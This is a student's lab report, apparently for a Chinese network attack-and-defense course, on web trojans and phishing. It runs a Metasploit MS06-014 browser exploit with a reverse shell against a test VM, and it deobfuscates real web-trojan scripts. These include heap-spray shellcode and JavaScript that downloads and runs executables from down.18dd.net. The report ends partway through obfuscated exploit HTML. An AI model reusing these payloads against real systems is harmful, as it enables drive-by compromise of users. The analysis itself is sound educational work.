20199317 2019-2020-2 《网络攻防实践》第12周作业

20199317 2019-2020-2 《网络攻防实践》第12周作业

1.实践内容

1.1 Web浏览的安全问题与威胁

1.2 Web浏览端的渗透攻击威胁————网页木马

  • 网页木马的定义:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScript实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

  • 网页木马的攻击流程

  • 网页木马的特性
    (1)网页木马的本质核心————浏览器渗透攻击
    以MS06-014安全漏洞的渗透攻击代码为例,来说明网页木马的具体实现机制:Windows操作系统默认安装的MDAC数据库访问组件RDS.DataSpace中CreateObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程代码执行漏洞。该安全漏洞利用VBScript代码,通过RDS.DataSpace对象来创建XMLHTTP对象来下载远程的恶意程序,并利用DataSpace漏洞,由Adodb.Stream对象绕过应有的安全控制将下载文件流写入到文件系统中的指定位置,并同样利用RDS.DataSpace漏洞由创建的 Shell.Application对象绕过安全机制直接激活已保存在文件系统中的恶意代码。
    (2)网络访问流量重定向机制机制
      1)内嵌HTML标签
       - 最为简单和常见的流量重定向机制:iframe嵌入外部页面链接
       - <iframe src="URL to Trojan" width="0" height="0" frameborder="0"> </iframe>
       - frame,body onload事件,css标签等
      2)恶意Script脚本
       - 很常见:利用script标签通过跨站脚本包含网页木马
       - <script language=Javascript>document.write("<iframe width=1 height=1 src=URL to Trojan></iframe>") </script>
       - window.open("URL to Trojan")
      2)内嵌对象链接
       - 调用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象
       - Adobe Pdf / Flash
    (3)混淆机制
    混淆机制的作用:对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网页木马攻击网络更难被检测和摧毁。
    混淆方法主要有: 1)将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析; 2)通过大小写变换、十六进制编码、escape编码、ode编码等方法对网页木马进行编码混淆; 3)通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document. write(或eval()进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具; 4)利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行; 5)修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

  • 网页木马的检测技术:基于特征码匹配的传统检测方法、基于统计与机器学习的静态分析方法、基于动态行为结果判定的检测方法、基于模拟浏览器环境的动态分析检测方法

  • 网页木马的分析技术:主要分为静态分析动态分析,但这两种分析技术都存在缺陷。近年提出的基于模拟浏览器环境的动态分析检测方法,在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得了良好的效果,并能够进一步结合脚本源码的静态结构分析以及安全漏洞特征检测方法,来达到更好的检测效果。

  • 网页木马防范措施:提升操作系统与浏览器平台软件的安全性;安装与实时更新一款优秀的反病毒软件;养成安全上网浏览的良好习惯,并借助于Google安全浏览等站点安全评估工具的帮助,避免访问那些可能遭遇挂马或者安全性不高的网站;使用Chrome、Safari等冷门浏览器进行上网。

1.3 揭开网络钓鱼的黑幕

  • 网络钓鱼(Phishing)是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等。

  • 网络钓鱼攻击的普遍技术流程
    (1)攻击者扫描网段,寻找存有漏洞的服务器;
    (2)服务器被攻陷,并被安装-一个Rootkit 或口令保护的后门工具;
    (3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
    (4)攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
    (5)网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。

  • 网络钓鱼攻击的具体技术与策略
    (1)首先钓鱼攻击者需要架设支撑钓鱼攻击的底层基础设施:大规模扫描有漏洞的主机并攻陷主机;架构钓鱼网站,包括假冒各种假冒各种知名金融机构和在线电子商务的前台假冒钓鱼网站等。
    (2)欺骗大量互联网用户访问钓鱼网站具体欺骗技术有
      1)使用IP 地址代替域名
      2)注册发音相近或形似的DNS域名:Unicode字符
      3)多数真实的链接中混杂关键的指向假冒钓鱼网站的链接
      4)对假冒网站的URL进行编码和混淆
      5)攻击用户网页浏览器存在的漏洞,隐藏消息内容的实质
      6)假冒钓鱼网站的透明性
      8)恶意软件安装浏览器助手工具
      9)修改本地DNS域名和IP地址映射hostd文件

  • 网站钓鱼防范措施
    (1)了解网站钓鱼安全威胁与技巧。
    (2)增强安全意识,提高警惕:对邮件中包含的链接,仔细核对;登录网银、基金等关键网站,直接访问或通过搜索引擎等。
    (3)安装安全软件:补丁、反病毒软件。

2.实践过程

实践一:Web浏览器渗透攻击实验

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
所需环境:
(1)攻击机: BT4 Linux 攻击机或Windows XP_Attacker 攻击机,使用其中安装的Metasploit渗透攻击框架软件;
(2)靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机。
实验步骤
(1)选择使用Metasploit中的MS06-014渗透攻击模块(ie_createobject);
(2)选择PAYLOAD为任意远程Shell连接;
(3)设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;
(4)在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL;
(5)在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

实践过程

本次实践以VMware中的kali为攻击机,Windows2kServer为靶机。注意两台虚拟机需要处于同一个网段,两者的IP地址如表所示:

虚拟机 IP地址
kali 192.168.200.2
Windows2kServer 192.168.200.124

(1)在kali输入命令msfconsole,打开metasploit,进入其控制界面,然后再搜索一下MS06-014漏洞,命令为search MS06-014搜索结果如下图。

这是针对这个漏洞的渗透攻击模块。

输入命令use exploit/windows/browser/ie_createobject,进入该渗透攻击模块

(2)选择PAYLOAD为任意远程Shell连接,输入show payloads,即选择PAYLOAD为 windows/meterpreter/reverse_tcp,也就是选择50,输入set PAYLOAD 50

(3)然后设定恶意服务器的地址,输入set LHOST 192.168.200.2

输入exploit开始攻击。攻击结果如下图

(4)在靶机环境中启动浏览器访问这个恶意URLhttp://192.168.200.2:8080/4IodjX0b3

(5)回到攻击机上可以看到,一个靶机到攻击机的session被建立

然后使用命令sessions -l查看我们控制的主机

使用命令sessions -i 1选择控制我们攻陷的靶机,并通过ipconfig命令查看靶机的ip地址

可以看到和靶机IP地址是一样的。

实践二:剖析一个实际的网页木马攻击场景

问题:

  1. 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
  2. 网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
  3. 从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
  4. 解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?

分析过程

由于题目中所给的URL http://192.168.68.253/scom/start.html无法打开也无法下载(所给资料中也没有),也就无法找到new09.htm文件,所以分析过程从指导书这一处下面的内容进行

new09.htm文件中,用iframe引用了一个http://aa.18dd.net/aa/kl.htm文件,又用javascript引用了一个http://js.users.51.la/1299644.js,然后分别计算它们的MD5值

分别得到MD5值为:7f60672dcd6b5e90b6772545ee219bd323180a42a2ff1192150231b44ffdf3d3。在老师给的资料hashed文件夹中找到这两个文件

一个11KB,一个1KB,先打开第二个文件,发现内容是:

这显然不是我们想要的内容,于是打开第一个文件:

由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')) ;可以得知这个文件使用了一种被称为XXTEA+Base64的加密方法,对付这种加密方法,我们只要找到它的加密密钥即可。

xxtea_decrypt函数的第二个参数就是密钥,只不过这里只是简单地使用了16进制加密。转换一下有:

密钥是“script”

这里用xxtea在线解密网站来解密,在密钥一栏中填入“script”,在下面大的文本框中粘贴那个文件的全部内容,点“解密”,文本框的内容变为:

可以看到加密者又用了另一种加密方法,也就是十六进制加密,对引号内的内容解密得:

function init (){document. write();}
window.onload = init;
if(document.cookie.index0f('0K' )==-1) {
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb. Stream", "")}
catch(e) {};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http: \/\/aa.18dd.netV/aa\/1.js><\/script>")}
else{
try(var f;var storm=new ActiveX0bject("MPS.StormPlayer");}
catch(f) {};
finally(if(f!="[object Error]") {
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try(var g;var pps=new ActiveX0bject("POWERPLAYER. PowerPlayerCtrl.1");}
catch(g){};
finally(if(g!="[object Error]") {
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveX0bject("BaiduBar.Tool");}
catch(h) {};
finally{if (h!="[object Error]") {
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

可以看到这个文件简直就是一个木马群,利用得到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件,其危害性可见一斑。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。

再按照说明的提示,对“http://aa.18dd.net/aa/1.js”“http://aa.18dd.net/aa/b.js”
“http://aa.18dd.net/aa/pps.js”“http://down.18dd.net/bb/bd.cab”分别计算MD5值,得到如下结果:

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

根据得到的MD5值,在老师给的hashed文件夹里找到对应文件,先看1.js:

eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")

又是一个十六进制加密,解开得:

var url="http://down.18dd.net/bb/014.exe";try{var
xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\n
tuser.com";as.savetofile(path,2);as.close
();var
shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c
"+path,"","open",0)}catch(e){}

这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe的可执行文件,后面部分是对ADODB漏洞的继续利用。
那个 exe 回头再说。

这次来看 b.js:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))

这段代码看起来让人相当头晕,不过好在第一行的函数的参数(p,a,c,k,e,d)给了我们提示,连起来是“packed”。上网搜索,这其实是一个混淆工具。下面我们在这个网站在线js美化来还原代码

还原后的代码如下:

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

这里出现了关键字shellcode,是二进制的机器码,下面分析这个shellcode
这个 shellcode 并不长,但它要实现很多破坏,不可能把所有的病毒都写在里面。因此它很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,我们可以找一找这加密的代码里有 URL 特征的字符串。
URL 中必然会出现的斜线//的十六进制 ASCII 码是2F,那么我们就在这段shellcode 中找/。查找结果如下:

注意有底色的地方,共有6处。后四处比较可疑,因为前两个2f比较密集。于是我们取第三个2f到末尾的内容,即2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000,进行解密:


得到解密结果为:://down.18dd.net/bb/bf.exe,将其补充完整:http://down.18dd.net/bb/bf.exe

又是一个可执行文件,看来任务的重心快要由网马转移到 EXE 木马上了。这个可执行文件先放一放,接着看 pps.js,内容如下:

可以看到是八进制加密,同样解开:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

又是shellcode,过程跟上面一样,得到其对应的可执行文件路径:http://down.18dd.net/bb/pps.exe

最后一cab压缩文件,将其解压缩,可以得到bd.exe执行文件,计算将前三个可执行文件的 URL 的 MD5 值:
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

于是我们有了四个 exe 文件,即 014.exe,bf.exe,pps.exe,bd.exe。我们发现这四个文件在资源管理器中显示出同样的大小。

进一步对文件内容进行 MD5 散列计算得出结论,这四个文件内容完全相同。

根据上述分析,可知这四个可执行文件是相同的,这样就只需分析其中一个即可。

拿出 PEiD,看这个可执行文件的加壳情况:

可以可拿到它是用 Delphi 写的。

接下来使用反汇编工具 W32DAsm 反汇编这个程序,然后看一下“串式参考”:

" goto try"
"#32770"
"(T@"
",T@"
".1"
":\AutoRun.inf"
":try"
"[AutoRun]
open="
"\program files\internet explorer\IEXPLORE.EXE"
"0813"
"3烂怱VQ嬝媠咑u3离&j"
"60000"
"advapi32.dll"
"Alletdel.bat"
"AutoRun.inf"
"Button"
"ChangeServiceConfig2A"
"ChangeServiceConfig2W"
"cmd /c date "
"cmd /c date 1981-01-12"
"del ""
"del %0"
"drivers/klif.sys"
"Error"
"FPUMaskValue"
"http://down.18dd.net/kl/0.exe"
"http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe"
"http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe"
"http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe"
"http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe"
"http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe"
"http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe"
"http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe"
"http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe"
"http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe"
"http://down.18dd.net/kl/9.exe"
"IE 执行保护"
"IEXPLORE.EXE"
"IE执行保护"
"if exist ""
"Kernel32.dll"
"NoDriveTypeAutoRun"
"ntdll.dll"
"QueryServiceConfig2A"
"QueryServiceConfig2W"
"S@"
"serdst.exe"
"shell\Auto\command="
"shellexecute="
"SOFTWARE\Borland\Delphi\RTL"
"Software\Microsoft\Windows\CurrentVersion\Poli"
"Telephotsgoogle"
"U嬱兡餝VW3繳h訹@"
"U嬱筧"
"U嬱伳SVW?"
"ZwUnmapViewOfSection"
"刌@"
"銼@"
"婦$鰼"
"媩$(?"
"燬@"
"擮@"
"确定"
"媆$?搡?婼婥t?燖"
"瑞星卡卡上网安全助手 - IE防漏墙"
"为即插即用设备提供支持"
"圷@"
"允许"
"允许执行"

分析这些字符串:

  1. 由字符串" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist ",猜测这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件

  2. 由":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=",猜测这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序

  3. 由"advapi32.dll","drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL" , "ChangeServiceConfig2A" ,"ChangeServiceConfig2W" ,"QueryServiceConfig2A","QueryServiceConfig2W"),猜测这个程序要对 IE、注册表、服务和系统文件动点手脚

  4. 由"瑞星卡卡上网安全助手 - IE 防漏墙","允许","允许执行",猜测这个程序有一定的防系统保护软件的能力

  5. 由20个形如"http://down.18dd.net/kl/**.exe"的字符串,猜测这个程序要下载一堆木马

实践三:Web浏览器渗透攻击攻防对抗

攻击方使用 Metasploit 构造出攻击至少两个不同 Web 浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态, 并分析出这些渗透代码都是攻击哪些 Web 浏览端软件的哪些安全漏洞。
双方撰写详细实验分析报告, 对攻防对抗过程进行总结。

实践过程

(1)在这次实践中使用实践一已经得到的恶意URL,在浏览器中打开并查看源码。

发现该网页为了防止被杀毒软件发现,对关键指令做了字符串拼接处理,还使用了大量的空白和间隔。

(2)将无效的空格符及回车符进行处理后,可以得到完整代码如下:

<html>
<head>
<title></title> 
<script language="javascript"> 	
function	
GMyRQIrZiOCzhYGaIxZBaU(o, n)
{	
       var r =null;	  	
       try  	
       {
              eval("r=o"+ ".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")	
       }catch(e){}
       if(!r) 
       { 
              try
              {	
                        eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")	 
              }catch(e){}
       } 	
       if(!r)
       { 
              try	
              {
                        eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')")
              }catch(e){}
       }	 
       if(!r)
       { 
              try
              {
                        eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")	
              }catch(e){}
       }
       if(!r) 				
       {
              try
              {	
                        eval("r=o"+".Ge"+"tOb"+"ject(n,'')")
              }catch(e){}
       } 
       if(!r) 	
       {	 
	      try
              {	 
                        eval("r=o"+".Ge"+"tOb"+"ject(n)") 	
              }catch(e){}
       }	 
       return(r);	
}
function
XtgXVSLFpOGBakXUxzuEgvHkrKk(a)
{ 
       var  s= GMyRQIrZiOCzhYGaIxZBaU(a, "W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
       var  o= GMyRQIrZiOCzhYGaIxZBaU(a, "A"+"DO"+"D"+"B.S"+"tr"+"eam");
       var  e= s.Environment("P"+"ro"+"ce"+"ss"); 	
       var  url=document.location+'/p'+	+'ay'+'lo'+'ad'; 
       var  xml = null; 
